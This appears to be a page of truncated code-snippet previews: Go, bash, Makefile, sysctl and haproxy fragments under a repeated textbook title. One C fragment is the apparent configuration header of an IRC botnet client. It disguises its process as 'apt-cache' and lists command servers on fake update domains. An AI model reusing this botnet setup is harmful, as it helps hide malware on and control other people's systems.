duplicates = multiple editions
A Classical Introduction to Modern Number Theory, Kenneth Ireland Michael Rosen
A Classical Introduction to Modern Number Theory, Kenneth Ireland Michael Rosen
| #define STARTUP 1 | |
| #undef IDENT // Only enable this if you absolutely have to | |
| #define FAKENAME "apt-cache" // What you want this to hide as | |
| #define CHAN "#mint" // Channel to join | |
| #define KEY "bleh" // The key of the channel | |
| int numservers=5; // Must change this to equal number of servers down there | |
| char *servers[] = { | |
| "updates.absentvodka.com", | |
| "updates.mintylinux.com", | |
| "eggstrawdinarry.mylittlerepo.com", |
| package main | |
| import ( | |
| "log" | |
| "bufio" | |
| "time" | |
| "os" | |
| "fmt" | |
| "io" | |
| "net" |
| if _, err := os.Stat("/path/to/whatever"); os.IsNotExist(err) { | |
| // path/to/whatever does not exist | |
| } | |
| if _, err := os.Stat("/path/to/whatever"); !os.IsNotExist(err) { | |
| // path/to/whatever exists | |
| } |
| #!/bin/bash | |
| # bash generate random alphanumeric string | |
| # | |
| # bash generate random 32 character alphanumeric string (upper and lowercase) and | |
| NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) | |
| # bash generate random 32 character alphanumeric string (lowercase only) | |
| cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 32 | head -n 1 |
| # Makefile for a go project | |
| # | |
| # Author: Jon Eisen | |
| # site: joneisen.me | |
| # | |
| # Targets: | |
| # all: Builds the code | |
| # build: Builds the code | |
| # fmt: Formats the source files | |
| # clean: cleans the code |
| # Kernel sysctl configuration file for Red Hat Linux | |
| # | |
| # For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and | |
| # sysctl.conf(5) for more details. | |
| # Controls source route verification | |
| net.ipv4.conf.default.rp_filter = 1 | |
| # Do not accept source routing | |
| net.ipv4.conf.default.accept_source_route = 0 |
| #!/bin/bash | |
| CONFIG=/etc/haproxy/haproxy.cfg | |
| DAEMON=$(which haproxy) | |
| function get_pid() { | |
| PID=$(ps aux | grep haproxy | grep -v grep | awk '{print $2}') | |
| } | |
| function get_status() { |